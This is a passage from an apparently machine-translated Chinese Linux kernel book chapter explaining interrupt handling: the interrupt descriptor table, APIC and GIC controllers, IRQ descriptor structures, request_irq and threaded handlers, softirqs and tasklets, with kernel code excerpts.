时,处理器的算术逻辑单元会引发一个被称为被零除异常的中断。类似地,当正在执行的程序打算调用内核服务调用时,它会执行一个特殊指令(sysenter),该指令会引发一个中断,将处理器转换到特权模式,这为执行所需的服务调用铺平了道路。这些事件相对于处理器的时钟同步发生,因此也被称为**同步中断**。 - -为了响应中断事件的发生,中央处理器被设计为抢占当前的指令序列或执行线程,并执行一种称为**中断服务例程** ( **ISR** )的特殊功能。为了定位对应于中断事件的适当的 ***ISR*** ,使用**中断向量表**。**中断向量**是内存中的一个地址,包含对软件定义的**中断服务**的引用,该服务将响应中断而执行。处理器架构定义了支持的**中断向量**的总数,并描述了内存中每个中断向量的布局。一般来说,对于大多数处理器架构,所有支持的向量都在内存中设置为名为**中断向量表的列表,**的地址由平台软件编程到处理器寄存器中。 - -让我们考虑一下 *x86* 架构的细节,作为一个更好理解的例子。x86 系列处理器总共支持 256 个中断向量,其中前 32 个用于处理器异常,其余用于软件和硬件中断。x86 实现的向量表被称为**中断描述符表(IDT)** ,它是 8 字节(对于 32 位机器)或 16 字节(对于 64 位 *x86* 机器)大小的描述符数组。在早期引导期间,内核代码的架构特定分支在内存中设置 **IDT** ,并使用物理起始地址和 **IDT** 的长度对处理器的 **IDTR** 寄存器(特殊 x86 寄存器)进行编程。当中断发生时,处理器通过将报告的矢量数乘以矢量描述符的大小来定位相关的矢量描述符(x86_32 机器上的*矢量数 x 8* ,x86_64 机器上的*矢量号 x 16* ,并将结果添加到 **IDT 的基址。**一旦达到有效的*向量描述符*,处理器继续执行描述符中指定的动作。 - -On x86 platforms, each *vector descriptor* implements a *gate* (interrupt, task, or trap)*,* which is used to transfer control of execution across segments. Vector descriptors representing hardware interrupts implement an *interrupt gate,* which refers to the base address and offset of the segment containing interrupt handler code. An *interrupt gate* disables all maskable interrupts before passing control to a specified interrupt handler. Vector descriptors representing *exceptions* and software interrupts implement a *trap gate,* which also refers to the location of code designated as a handler for the event. Unlike an *interrupt gate*, a *trap gate* does not disable maskable interrupts, which makes it suitable for execution of soft interrupt handlers. - -# 可编程中断控制器 - -现在,让我们专注于外部中断,探索处理器如何识别外部硬件中断的发生,以及它们如何发现与中断相关联的矢量数。CPU 设计有一个专用输入引脚(intr 引脚),用于发出外部中断信号。每个能够发出中断请求的外部硬件设备通常由一个或多个称为**中断请求线(IRQ)** 的输出引脚组成,用于向中央处理器发出中断请求信号。所有计算平台都使用一个名为**可编程中断控制器(PIC)** 的硬件电路,在各种中断请求线上复用中央处理器的中断引脚。源自板载设备控制器的所有现有 IRQ 线路都被路由到中断控制器的输入引脚,中断控制器监控每个 IRQ 线路的中断信号,并在中断到达时,将请求转换为 cpu 可理解的矢量数,并将中断信号中继到 CPU 的中断引脚。简而言之,可编程中断控制器将多条设备中断请求线多路复用到处理器的一条中断线上: - -![](img/00049.jpeg) - -中断控制器的设计和实现是特定于平台的*。*英特尔 *x86* 多处理器平台使用**高级可编程中断控制器** ( **APIC** )。 **APIC** 设计将中断控制器功能分为两个不同的芯片组:第一个组件是位于系统总线上的**输入/输出 APIC** 。所有共享的外围硬件 IRQ 线路都被路由到输入/输出 APIC;该芯片将中断请求转换为矢量代码 ***。*** 第二个是名为**本地 APIC** 的每 CPU 控制器(通常集成在处理器内核中),它向特定的 CPU 内核提供硬件中断。**输入/输出 APIC** 将中断事件路由到所选中央处理器内核的本地 APIC 。它用重定向表编程,用于做出中断路由决定。中央处理器**本地中央处理器**管理特定中央处理器内核的所有外部中断;此外,它们还从定时器等 CPU 本地硬件传递事件,还可以接收和生成可在 SMP 平台上发生的**处理器间中断** **(IPIs)** 。 - -下图描述了 **APIC** 的拆分架构。事件流程现在从单个设备在**输入/输出 APIC** 上发出 IRQ 开始,IRQ 将请求路由到特定的**本地 APIC** ,后者再将中断传递到特定的 CPU 内核: - -![](img/00050.jpeg) - -类似于 **APIC** 架构,多核 ARM 平台将**通用中断控制器** ( **GIC** )实现拆分为两个。第一个组件被称为**分配器,**对于系统是全局的,并且有几个物理路由到它的外围硬件中断源。第二个组件是按 CPU 复制的,称为 **cpu 接口**。*分配器*组件通过**共享外设中断** ( ***SPI)*** 的分配逻辑编程到已知的 CPU 接口。 - -# 中断控制器操作 - -内核代码的特定于架构的分支实现了中断控制器特定的操作,用于管理 IRQ 线路,例如屏蔽/取消屏蔽单个中断、设置优先级和 SMP 关联性。这些操作需要从内核的独立于架构的代码路径中调用,用于操作单个的 IRQ 行,为了便于这种调用,内核通过一个名为`struct irq_chip`的结构定义了一个独立于架构的抽象层。这个结构可以在内核头``中找到: - -```sh -struct irq_chip { - struct device *parent_device; - const char *name; - unsigned int (*irq_startup)(struct irq_data *data); - void (*irq_shutdown)(struct irq_data *data); - void (*irq_enable)(struct irq_data *data); - void (*irq_disable)(struct irq_data *data); - - void (*irq_ack)(struct irq_data *data); - void (*irq_mask)(struct irq_data *data); - void (*irq_mask_ack)(struct irq_data *data); - void (*irq_unmask)(struct irq_data *data); - void (*irq_eoi)(struct irq_data *data); - - int (*irq_set_affinity)(struct irq_data *data, const struct cpumask - *dest, bool force); - - int (*irq_retrigger)(struct irq_data *data); - int (*irq_set_type)(struct irq_data *data, unsigned int flow_type); - int (*irq_set_wake)(struct irq_data *data, unsigned int on); - void (*irq_bus_lock)(struct irq_data *data); - void (*irq_bus_sync_unlock)(struct irq_data *data); - void (*irq_cpu_online)(struct irq_data *data); - void (*irq_cpu_offline)(struct irq_data *data); - void (*irq_suspend)(struct irq_data *data); - void (*irq_resume)(struct irq_data *data); - void (*irq_pm_shutdown)(struct irq_data *data); - void (*irq_calc_mask)(struct irq_data *data); - void (*irq_print_chip)(struct irq_data *data, struct seq_file *p); - int (*irq_request_resources)(struct irq_data *data); - void (*irq_release_resources)(struct irq_data *data); - void (*irq_compose_msi_msg)(struct irq_data *data, struct msi_msg *msg); - void (*irq_write_msi_msg)(struct irq_data *data, struct msi_msg *msg); - - int (*irq_get_irqchip_state)(struct irq_data *data, enum irqchip_irq_state which, bool *state); - int (*irq_set_irqchip_state)(struct irq_data *data, enum irqchip_irq_state which, bool state); - - int (*irq_set_vcpu_affinity)(struct irq_data *data, void *vcpu_info); - void (*ipi_send_single)(struct irq_data *data, unsigned int cpu); - void (*ipi_send_mask)(struct irq_data *data, const struct cpumask *dest); unsigned long flags; -}; -``` - -该结构声明了一组函数指针,以说明跨各种硬件平台的 IRQ 芯片的所有特性。因此,由板特定代码定义的结构的特定实例通常只支持可能操作的子集。以下是 x86 多核平台版本的`irq_chip`实例,定义了 I/O APIC 和 LAPIC 的操作。 - -```sh -static struct irq_chip ioapic_chip __read_mostly = { - .name = "IO-APIC", - .irq_startup = startup_ioapic_irq, - .irq_mask = mask_ioapic_irq, - .irq_unmask = unmask_ioapic_irq, - .irq_ack = irq_chip_ack_parent, - .irq_eoi = ioapic_ack_level, - .irq_set_affinity = ioapic_set_affinity, - .irq_retrigger = irq_chip_retrigger_hierarchy, - .flags = IRQCHIP_SKIP_SET_WAKE, -}; - -static struct irq_chip lapic_chip __read_mostly = { - .name = "local-APIC", - .irq_mask = mask_lapic_irq, - .irq_unmask = unmask_lapic_irq, - .irq_ack = ack_lapic_irq, -}; -``` - -# IRQ 描述符表 - -另一个重要的抽象是关于与硬件中断相关的 IRQ 号。中断控制器用唯一的硬件 IRQ 号识别每个 IRQ 源。内核的通用中断管理层将每个硬件 IRQ 映射到一个唯一的标识符,称为 Linux IRQ 这些数字抽象了硬件 IRQ,从而保证了内核代码的可移植性。所有外围设备驱动程序都被编程为使用 Linux IRQ 号来绑定或注册它们的中断处理程序。 - -Linux IRQs 用 IRQ 描述符结构表示,由`struct irq_desc`定义;对于每个 IRQ 源,在早期内核引导期间会枚举这个结构的一个实例。IRQ 描述符列表保存在一个由 IRQ 号索引的数组中,称为 IRQ 描述符表: - -```sh - struct irq_desc { - struct irq_common_data irq_common_data; - struct irq_data irq_data; - unsigned int __percpu *kstat_irqs; - irq_flow_handler_t handle_irq; -#ifdef CONFIG_IRQ_PREFLOW_FASTEOI - irq_preflow_handler_t preflow_handler; -#endif - struct irqaction *action; /* IRQ action list */ - unsigned int status_use_accessors; - unsigned int core_internal_state__do_not_mess_with_it; - unsigned int depth; /* nested irq disables */ - unsigned int wake_depth;/* nested wake enables */ - unsigned int irq_count;/* For detecting broken IRQs */ - unsigned long last_unhandled; - unsigned int irqs_unhandled; - atomic_t threads_handled; - int threads_handled_last; - raw_spinlock_t lock; - struct cpumask *percpu_enabled; - const struct cpumask *percpu_affinity; -#ifdef CONFIG_SMP - const struct cpumask *affinity_hint; - struct irq_affinity_notify *affinity_notify; - - ... - ... - ... -}; -``` - -`irq_data`是`struct irq_data`的一个实例,它包含与中断管理相关的低级信息,如 Linux IRQ 号、硬件 IRQ 号以及指向中断控制器操作的指针(`irq_chip`)等重要字段: - -```sh -/** - * struct irq_data - per irq chip data passed down to chip functions - * @mask: precomputed bitmask for accessing the chip registers - * @irq: interrupt number - * @hwirq: hardware interrupt number, local to the interrupt domain - * @common: point to data shared by all irqchips - * @chip: low level interrupt hardware access - * @domain: Interrupt translation domain; responsible for mapping - * between hwirq number and linux irq number. - * @parent_data: pointer to parent struct irq_data to support hierarchy - * irq_domain - * @chip_data: platform-specific per-chip private data for the chip - * methods, to allow shared chip implementations - */ - -struct irq_data { - u32 mask; - unsigned int irq; - unsigned long hwirq; - struct irq_common_data *common; - struct irq_chip *chip; - struct irq_domain *domain; -#ifdef CONFIG_IRQ_DOMAIN_HIERARCHY - struct irq_data *parent_data; -#endif - void *chip_data; -}; -``` - -`irq_desc`结构的`handle_irq`元素是一个类型为`irq_flow_handler_t`的函数指针,它指的是一个处理线上流程管理的高级函数。通用 irq 层提供一组预定义的 irq 流函数;根据类型为每条中断线路分配一个适当的例程。 - -* `handle_level_irq()`:电平触发中断的通用实现 -* `handle_edge_irq()`:边沿触发中断的通用实现 -* `handle_fasteoi_irq()`:中断的通用实现,只需要在处理程序的末尾有一个 EOI -* `handle_simple_irq()`:简单中断的通用实现 -* `handle_percpu_irq()`:每个中央处理器中断的通用实现 -* `handle_bad_irq()`:用于虚假中断 - -`irq_desc`结构的`*action`元素是指向一个或一系列动作描述符的指针,这些描述符包含驱动程序特定的中断处理程序以及其他重要元素。每个动作描述符都是内核头``中定义的`struct irqaction`的一个实例: - -```sh -/** - * struct irqaction - per interrupt action descriptor - * @handler: interrupt handler function - * @name: name of the device - * @dev_id: cookie to identify the device - * @percpu_dev_id: cookie to identify the device - * @next: pointer to the next irqaction for shared interrupts - * @irq: interrupt number - * @flags: flags - * @thread_fn: interrupt handler function for threaded interrupts - * @thread: thread pointer for threaded interrupts - * @secondary: pointer to secondary irqaction (force threading) - * @thread_flags: flags related to @thread - * @thread_mask: bitmask for keeping track of @thread activity - * @dir: pointer to the proc/irq/NN/name entry - */ -struct irqaction { - irq_handler_t handler; - void * dev_id; - void __percpu * percpu_dev_id; - struct irqaction * next; - irq_handler_t thread_fn; - struct task_struct * thread; - struct irqaction * secondary; - unsigned int irq; - unsigned int flags; - unsigned long thread_flags; - unsigned long thread_mask; - const char * name; - struct proc_dir_entry * dir; -}; -``` - -# 高级中断管理接口 - -通用 IRQ 层为设备驱动程序提供了一组功能接口,用于获取 IRQ 描述符和绑定中断处理程序、释放 IRQ、启用或禁用中断线路等。我们将在这一节探讨所有的通用接口。 - -# 注册中断处理程序 - -```sh -typedef irqreturn_t (*irq_handler_t)(int, void *); - -/** - * request_irq - allocate an interrupt line - * @irq: Interrupt line to allocate - * @handler: Function to be called when the IRQ occurs. - * @irqflags: Interrupt type flags - * @devname: An ascii name for the claiming device - * @dev_id: A cookie passed back to the handler function - */ - int request_irq(unsigned int irq, irq_handler_t handler, unsigned long flags, - const char *name, void *dev); -``` - -`request_irq()`用作为参数传递的值实例化一个`irqaction`对象,并将其绑定到指定为第一个(`irq`)参数的`irq_desc`。该调用分配中断资源并启用中断线路和 IRQ 处理。`handler`是一个类型为`irq_handler_t`的函数指针,它获取特定于驱动程序的中断处理程序的地址。`flags`是中断管理相关选项的位掩码。标志位在内核头`:`中定义 - -* `IRQF_SHARED`:将中断处理程序绑定到共享的 IRQ 线路时使用。 -* `IRQF_PROBE_SHARED`:当呼叫者期望发生共享不匹配时,由呼叫者设置。 -* `IRQF_TIMER`:将该中断标记为定时器中断的标志。 -* `IRQF_PERCPU`:中断是每个 CPU。 -* `IRQF_NOBALANCING`:从 IRQ 平衡中排除该中断的标志。 -* `IRQF_IRQPOLL`:中断用于轮询(出于性能原因,仅考虑在共享中断中首先注册的中断)。 -* `IRQF_NO_SUSPEND`:暂停期间不要禁用该 IRQ。不保证此中断会将系统从挂起状态唤醒。 -* `IRQF_FORCE_RESUME`:即使设置了`IRQF_NO_SUSPEND`,也要在恢复时强制启用。 -* `IRQF_EARLY_RESUME`:在 syscore 期间提前恢复 IRQ,而不是在设备恢复时。 -* `IRQF_COND_SUSPEND`:如果 IRQ 与`NO_SUSPEND`用户共享,暂停中断后执行该中断处理程序。对于系统唤醒设备,用户需要在其中断处理程序中实现唤醒检测。 - -由于每个标志值都是一个位,因此可以传递这些值的子集的逻辑“或”(即|),如果不适用,则`flags`参数的值 0 有效。分配给`dev`的地址被认为是一个唯一的 cookie,并在共享的 IRQ 情况下用作动作实例的标识符。在没有`IRQF_SHARED`标志的情况下注册中断处理程序时,该参数的值可以为空。 - -成功时,`request_irq()`归零;非零返回值表示无法注册指定的中断处理程序。返回错误代码`-EBUSY`表示未能将处理程序注册或绑定到已在使用的指定 IRQ。 - -中断处理程序例程具有以下原型: - -```sh -irqreturn_t handler(int irq, void *dev_id); -``` - -`irq`指定 IRQ 号,`dev_id`是注册处理程序时使用的唯一 cookie。`irqreturn_t`是枚举整数常量的 typedef: - -```sh -enum irqreturn { - IRQ_NONE = (0 << 0), - IRQ_HANDLED = (1 << 0), - IRQ_WAKE_THREAD = (1 << 1), -}; - -typedef enum irqreturn irqreturn_t; -``` - -中断处理程序应返回`IRQ_NONE`以指示中断未被处理。它还用于指示在共享 IRQ 情况下,中断的来源不是来自其设备。中断处理正常完成后,必须返回`IRQ_HANDLED`表示成功。`IRQ_WAKE_THREAD`是一个特殊的标志,用来唤醒线程处理程序;我们将在下一节详细阐述。 - -# 注销中断处理程序 - -可以通过调用`free_irq()`例程取消对驱动程序中断处理程序的注册: - -```sh -/** - * free_irq - free an interrupt allocated with request_irq - * @irq: Interrupt line to free - * @dev_id: Device identity to free - * - * Remove an interrupt handler. The handler is removed and if the - * interrupt line is no longer in use by any driver it is disabled. - * On a shared IRQ the caller must ensure the interrupt is disabled - * on the card it drives before calling this function. The function - * does not return until any executing interrupts for this IRQ - * have completed. - * Returns the devname argument passed to request_irq. - */ -const void *free_irq(unsigned int irq, void *dev_id); -``` - -`dev_id`是唯一的 cookie(注册处理程序时分配的),用于标识在共享 IRQ 情况下要取消注册的处理程序;对于其他情况,该参数可以为空。这个函数是一个潜在的阻塞调用,不能从中断上下文中调用:它阻塞调用上下文,直到完成当前正在执行的任何中断处理程序,对于指定的 IRQ 行。 - -# 线程中断处理程序 - -通过`request_irq()`注册的处理程序由内核的中断处理路径执行。该代码路径是异步的,通过暂停本地处理器上的调度程序抢占和硬件中断来运行,因此被称为硬 IRQ 上下文。因此,必须将驱动程序的中断处理程序编程为短的(尽可能少的工作)和原子的(非阻塞的),以确保系统的响应性。然而,并不是所有的硬件中断处理程序都是短暂的和原子的:有大量复杂的设备产生中断事件,其响应涉及复杂的可变时间操作。 - -传统上,驱动程序被编程为使用中断处理程序的分离处理程序设计来处理这种复杂情况,称为**上半部分**和**下半部分**。上半部分例程在硬中断上下文中调用,这些函数被编程为执行*中断关键*操作,例如硬件寄存器上的物理输入/输出,并调度下半部分延迟执行。下半部分例程通常被编程来处理剩余的*中断非关键的*和*可推迟的工作*,例如处理上半部分生成的数据、与进程上下文交互以及访问用户地址空间。内核为调度和执行下半部分例程提供了多种机制,每种机制都有不同的接口应用编程接口和执行策略。我们将在下一节详细阐述正式的下半部分机制的设计和使用细节。 - -作为使用正式的下半部分机制的替代,内核支持设置可以在线程上下文中执行的中断处理程序,称为**线程中断处理程序** *。*驱动程序可以通过名为`request_threaded_irq()`的替代接口例程设置线程中断处理程序: - -```sh -/** - * request_threaded_irq - allocate an interrupt line - * @irq: Interrupt line to allocate - * @handler: Function to be called when the IRQ occurs. - * Primary handler for threaded interrupts - * If NULL and thread_fn != NULL the default - * primary handler is installed - * @thread_fn: Function called from the irq handler thread - * If NULL, no irq thread is created - * @irqflags: Interrupt type flags - * @devname: An ascii name for the claiming device - * @dev_id: A cookie passed back to the handler function - */ - int request_threaded_irq(unsigned int irq, irq_handler_t handler, - irq_handler_t thread_fn, unsigned long irqflags, - const char *devname, void *dev_id); -``` - -分配给`handler`的功能充当在硬 IRQ 上下文中执行的主要中断处理程序。分配给`thread_fn`的例程在线程上下文中执行,并计划在主处理程序返回`IRQ_WAKE_THREAD`时运行。使用这种分割处理程序设置,有两种可能的使用情况:主处理程序可以被编程为执行中断关键工作,并将非关键工作推迟到线程处理程序以供以后执行,类似于下半部分。另一种设计是将整个中断处理代码推迟到线程处理程序中,并将主处理程序限制为只验证中断源和唤醒线程例程。这个用例可能需要屏蔽相应的中断行,直到线程处理程序完成,以避免中断的嵌套。这可以通过在唤醒线程处理程序之前对主处理程序进行编程以在源端关闭中断,或者通过在注册线程中断处理程序时分配的标志位`IRQF_ONESHOT`来实现。 - -以下是与线程中断处理程序相关的`irqflags`: - -* `IRQF_ONESHOT`:硬 IRQ 处理程序完成后,中断不会重新启用。这由线程中断使用,线程中断需要保持 IRQ 线禁用,直到线程处理程序已经运行。 -* `IRQF_NO_THREAD`:中断不能线程化。这在共享 IRQ 中用于限制线程中断处理程序的使用。 - -将空值赋给`handler`对该例程的调用将导致内核使用默认的主处理程序,该程序只返回`IRQ_WAKE_THREAD`。对该函数的调用,如果将空值赋给`thread_fn`,则等同于`request_irq()`: - -```sh -static inline int __must_check -request_irq(unsigned int irq, irq_handler_t handler, unsigned long flags, - const char *name, void *dev) -{ - return request_threaded_irq(irq, handler, NULL, flags, name, dev); -} -``` - -设置中断处理程序的另一个可选界面是`request_any_context_irq()`。该例程与`requeust_irq()`的签名相似,但功能略有不同: - -```sh -/** - * request_any_context_irq - allocate an interrupt line - * @irq: Interrupt line to allocate - * @handler: Function to be called when the IRQ occurs. - * Threaded handler for threaded interrupts. - * @flags: Interrupt type flags - * @name: An ascii name for the claiming device - * @dev_id: A cookie passed back to the handler function - * - * This call allocates interrupt resources and enables the - * interrupt line and IRQ handling. It selects either a - * hardirq or threaded handling method depending on the - * context. - * On failure, it returns a negative value. On success, - * it returns either IRQC_IS_HARDIRQ or IRQC_IS_NESTED.. - */ -int request_any_context_irq(unsigned int irq,irq_handler_t handler, - unsigned long flags,const char *name,void *dev_id) - -``` - -该函数与`request_irq()`的不同之处在于,它查看由特定于体系结构的代码设置的中断线路属性的 IRQ 描述符,并决定是将该函数指定为传统的硬 IRQ 处理程序还是线程中断处理程序。成功后,如果处理程序被建立为在硬 IRQ 上下文中运行,则返回`IRQC_IS_HARDIRQ`,否则返回`IRQC_IS_NESTED`。 - -# 控制界面 - -通用 IRQ 层提供了在 IRQ 线路上执行控制操作的例程。以下是屏蔽和取消屏蔽特定 IRQ 线路的功能列表: - -```sh -void disable_irq(unsigned int irq); -``` - -这将通过操作 IRQ 描述符结构中的计数器来禁用指定的 IRQ 行。这个例程是一个可能的阻塞调用,因为它一直等到这个中断的任何正在运行的处理程序完成。或者,功能`disable_irq_nosync()`也可用于*禁用给定的 IRQ 线路*;这个调用不检查也不等待给定中断线路的任何正在运行的处理程序完成: - -```sh -void disable_irq_nosync(unsigned int irq); -``` - -禁用的 IRQ 线路可通过以下呼叫启用: - -```sh -void enable_irq(unsigned int irq); -``` - -请注意,IRQ 启用和禁用操作嵌套,即多次调用*禁用*一条 IRQ 线路需要相同数量的*启用*调用才能重新启用该 IRQ 线路。这意味着`enable_irq()`只有在对给定 IRQ 的调用与最后的*匹配时才会启用给定 IRQ,而禁用*操作。 - -通过选择,也可以为本地 CPU 禁用/启用中断;以下几对宏可用于相同的目的: - -* `local_irq_disable()`:禁用本地处理器上的中断。 -* `local_irq_enable()`:启用本地处理器的中断。 -* `local_irq_save(unsigned long flags)`:通过将当前中断状态保存在*标志*中,禁用本地中央处理器上的中断。 -* `local_irq_restore(unsigned long flags)`:通过将中断恢复到之前的状态,在本地 CPU 上启用中断。 - -# IRQ 堆栈 - -历史上,对于大多数架构,中断处理程序共享被中断的运行进程的内核堆栈。如第一章所述,32 位架构的进程内核堆栈通常为 8 KB,64 位架构为 16 KB。对于内核工作和 IRQ 处理例程来说,固定的内核堆栈可能并不总是足够的,这导致了内核代码和中断处理程序对数据的明智分配。为了解决这个问题,内核构建(对于一些体系结构)默认配置为设置一个额外的每 CPU 硬 IRQ 堆栈供中断处理程序使用,以及一个每 CPU 软 IRQ 堆栈供软件中断代码使用。以下是内核头``中 x86-64 位架构特定的堆栈声明: - -```sh -/* - * per-CPU IRQ handling stacks - */ -struct irq_stack { - u32 stack[THREAD_SIZE/sizeof(u32)]; -} __aligned(THREAD_SIZE); - -DECLARE_PER_CPU(struct irq_stack *, hardirq_stack); -DECLARE_PER_CPU(struct irq_stack *, softirq_stack); -``` - -除此之外,x86-64 位构建还包括特殊堆栈;更多细节可以在内核源代码文档``中找到: - -* 双故障堆栈 -* 调试堆栈 -* NMI 堆栈 -* Mce 堆栈 - -# 延期工作 - -如前一节所介绍的,**下半部分**是用于执行延迟工作的内核机制,并且可以被任何内核代码使用来将非关键工作的执行延迟到未来的某个时间。为了支持实现和延迟例程的管理,内核实现了特殊的框架,称为**软任务**、**小任务**和**工作队列**。这些框架中的每一个都构成了一组数据结构和函数接口,用于注册、调度和排队下半部分例程。每个机制都设计有独特的*策略*,用于管理和执行下半部分。需要延迟执行的驱动程序和其他内核服务将需要通过适当的框架绑定和调度它们的 BH 例程。 - -# 软中断 - -术语 **softirq** 粗略地翻译为**软中断**,顾名思义,由该框架管理的延迟例程以高优先级执行,但是启用了硬中断线路*。*因此*、*软 irq 下半部分(或软 IRQ)可以抢占除硬中断处理程序之外的所有其他任务。然而,softirqs 的使用仅限于静态内核代码,这种机制不适用于动态内核模块。 - -每个软 irq 通过内核头``中声明的类型`struct softirq_action`的实例来表示。该结构包含一个函数指针,可以保存下半部分例程的地址: - -```sh -struct softirq_action -{ - void (*action)(struct softirq_action *); -}; -``` - -当前版本的内核有 10 个软 IRQ,每个都通过内核头``中的枚举进行索引。这些索引用作标识,并被视为软 irq 的相对优先级,索引较低的条目被视为优先级较高,索引 0 是优先级最高的软 irq: - -```sh -enum -{ - HI_SOFTIRQ=0, - TIMER_SOFTIRQ, - NET_TX_SOFTIRQ, - NET_RX_SOFTIRQ, - BLOCK_SOFTIRQ, - IRQ_POLL_SOFTIRQ, - TASKLET_SOFTIRQ, - SCHED_SOFTIRQ, - HRTIMER_SOFTIRQ, /* Unused, but kept as tools rely on the - numbering. Sigh! */ - RCU_SOFTIRQ, /* Preferable RCU should always be the last softirq */ - - NR_SOFTIRQS -}; -``` - -内核源文件``声明了一个名为`softirq_vec`的大小为`NR_SOFTIRQS`的数组,每个偏移量包含一个在枚举中索引的相应 softirq 的`softirq_action`实例: - -```sh -static struct softirq_action softirq_vec[NR_SOFTIRQS] __cacheline_aligned_in_smp; - -/* string constants for naming each softirq */ -const char * const softirq_to_name[NR_SOFTIRQS] = { - "HI", "TIMER", "NET_TX", "NET_RX", "BLOCK", "IRQ_POLL", - "TASKLET", "SCHED", "HRTIMER", "RCU" -}; -``` - -框架提供了一个函数`open_softriq()`,用于用相应的下半部分例程初始化 softirq 实例: - -```sh -void open_softirq(int nr, void (*action)(struct softirq_action *)) -{ - softirq_vec[nr].action = action; -} - -``` - -`nr`是要初始化的 softirq 的索引,`*action`是要用下半部分例程的地址初始化的函数指针。下面的代码节选自定时器服务,显示了调用`open_softirq`来注册一个软件: - -```sh -/*kernel/time/timer.c*/ -open_softirq(TIMER_SOFTIRQ, run_timer_softirq); -``` - -内核服务可以使用函数`raise_softirq()`发出执行 softirq 处理程序的信号。该函数将 softirq 的索引作为参数: - -```sh -void raise_softirq(unsigned int nr) -{ - unsigned long flags; - - local_irq_save(flags); - raise_softirq_irqoff(nr); - local_irq_restore(flags); -} -``` - -以下代码摘录自``: - -```sh -void run_local_timers(void) -{ - struct timer_base *base = this_cpu_ptr(&timer_bases[BASE_STD]); - - hrtimer_run_queues(); - /* Raise the softirq only if required. */ - if (time_before(jiffies, base->clk)) { - if (!IS_ENABLED(CONFIG_NO_HZ_COMMON) || !base->nohz_active) - return; - /* CPU is awake, so check the deferrable base. */ - base++; - if (time_before(jiffies, base->clk)) - return; - } - raise_softirq(TIMER_SOFTIRQ); -} -``` - -内核维护每个 CPU 的位掩码,用于跟踪为执行而引发的软 irq,函数`raise_softirq()`在本地 CPU 软 irq 位掩码中设置相应的位(作为参数提到的索引),以将指定的软 IRQ 标记为挂起。 - -挂起的 softirq 处理程序在内核代码的不同点被检查和执行。原则上,它们在中断上下文中执行,紧接在启用了 IRQ 线路的硬中断处理程序完成之后。这保证了快速处理从硬中断处理程序引发的软 IRQ,从而实现最佳缓存使用。然而,内核允许任意任务通过`local_bh_disable()`或`spin_lock_bh()`调用暂停本地处理器上的 softirq 处理的执行。待定软 irq 处理程序在任意任务的上下文中执行,该任务通过调用`local_bh_enable()`或`spin_unlock_bh()`调用来重新启用软 irq 处理。最后,软 irq 处理程序也可以由每 CPU 内核线程`ksoftirqd`*执行,当任何进程上下文内核例程引发软 irq 时,该线程被唤醒。当由于高负载而积累了太多的软 IRQ 时,该线程也会从中断上下文中被唤醒。* - - *软 IRQ 最适合完成硬中断处理程序延迟的优先级工作,因为它们在硬中断处理程序完成后立即运行。然而,softirqs 处理程序是可重入的,并且必须被编程为在访问数据结构(如果有的话)时使用适当的保护机制。softirqs 的可重入性可能会导致无限的延迟,影响整个系统的效率,这就是为什么它们的使用受到限制,并且几乎从不添加新的,除非是执行高频线程延迟工作的绝对必要条件。对于所有其他类型的延迟工作,建议使用小任务和工作队列。 - -# 小任务 - -**小任务**机制是一种围绕 softirq 框架的包装器;事实上,小任务处理程序是由 softirqs 执行的。与 softirqs 不同,小任务是不可重入的,这保证了同一个小任务处理程序永远不能并发运行。这有助于最小化总体延迟,前提是程序员检查并实施相关检查,以确保小任务中完成的工作是非阻塞的和原子的。另一个不同之处在于它们的用法:与 softirqs(受限制)不同,任何内核代码都可以使用小任务,这包括动态链接的服务。 - -每个小任务通过内核头``中声明的类型`struct tasklet_struct`的实例来表示: - -```sh -struct tasklet_struct -{ - struct tasklet_struct *next; - unsigned long state; - atomic_t count; - void (*func)(unsigned long); - unsigned long data; -}; -``` - -初始化时,`*func`保存处理程序例程的地址,`data`用于在调用期间将数据块作为参数传递给处理程序例程。每个小任务都带有一个`state`,可以是`TASKLET_STATE_SCHED`,表示它被安排执行,也可以是`TASKLET_STATE_RUN`,表示它正在执行。原子计数器用于*启用*或*禁用*小任务;当`count`等于一个*非零*值*,*表示小任务*禁用,*,*零*表示*启用*。禁用的小任务即使被调度也不能被执行,直到它在未来某个时间被启用。 - -内核服务可以通过以下任何宏静态地实例化新的小任务: - -```sh -#define DECLARE_TASKLET(name, func, data) \ -struct tasklet_struct name = { NULL, 0, ATOMIC_INIT(0), func, data } - -#define DECLARE_TASKLET_DISABLED(name, func, data) \ -struct tasklet_struct name = { NULL, 0, ATOMIC_INIT(1), func, data } -``` - -可以通过以下方式在运行时动态实例化新的小任务: - -```sh -void tasklet_init(struct tasklet_struct *t, - void (*func)(unsigned long), unsigned long data) -{ - t->next = NULL; - t->state = 0; - atomic_set(&t->count, 0); - t->func = func; - t->data = data; -} -``` - -内核维护两个每个 CPU 的小任务列表,用于排队调度的小任务,这些列表的定义可以在源文件``中找到: - -```sh -/* - * Tasklets - */ -struct tasklet_head { - struct tasklet_struct *head; - struct tasklet_struct **tail; -}; - -static DEFINE_PER_CPU(struct tasklet_head, tasklet_vec); -static DEFINE_PER_CPU(struct tasklet_head, tasklet_hi_vec); - -``` - -`tasklet_vec`被视为正常列表,该列表中所有排队的小任务都由`TASKLET_SOFTIRQ`(10 个软任务之一)运行。`tasklet_hi_vec`是一个高优先级的小任务列表,这个列表中所有排队的小任务都由`HI_SOFTIRQ`执行,而 T3 恰好是优先级最高的软任务。通过调用`tasklet_schedule()`或`tasklet_hi_scheudule()`,可以将小任务排队等待执行到适当的列表中。 - -下面的代码展示了`tasklet_schedule()`的实现;调用此函数时,要排队的小任务实例的地址作为参数: - -```sh -extern void __tasklet_schedule(struct tasklet_struct *t); - -static inline void tasklet_schedule(struct tasklet_struct *t) -{ - if (!test_and_set_bit(TASKLET_STATE_SCHED, &t->state)) - __tasklet_schedule(t); -} -``` - -条件构造检查指定的小任务是否已经被调度;如果没有,它会自动将状态设置为`TASKLET_STATE_SCHED`并调用`__tasklet_shedule()`将小任务实例入队到待定列表中。如果已经发现指定的小任务处于`TASKLET_STATE_SCHED`状态,则不会重新安排: - -```sh -void __tasklet_schedule(struct tasklet_struct *t) -{ - unsigned long flags; - - local_irq_save(flags); - t->next = NULL; - *__this_cpu_read(tasklet_vec.tail) = t; - __this_cpu_write(tasklet_vec.tail, &(t->next)); - raise_softirq_irqoff(TASKLET_SOFTIRQ); - local_irq_restore(flags); -} -``` - -该函数将指定的小任务静默地排队到`tasklet_vec`的尾部,并在本地处理器上提升`TASKLET_SOFTIRQ`。 - -以下是`tasklet_hi_scheudle()`程序的代码: - -```sh -extern void __tasklet_hi_schedule(struct tasklet_struct *t); - -static inline void tasklet_hi_schedule(struct tasklet_struct *t) -{ - if (!test_and_set_bit(TASKLET_STATE_SCHED, 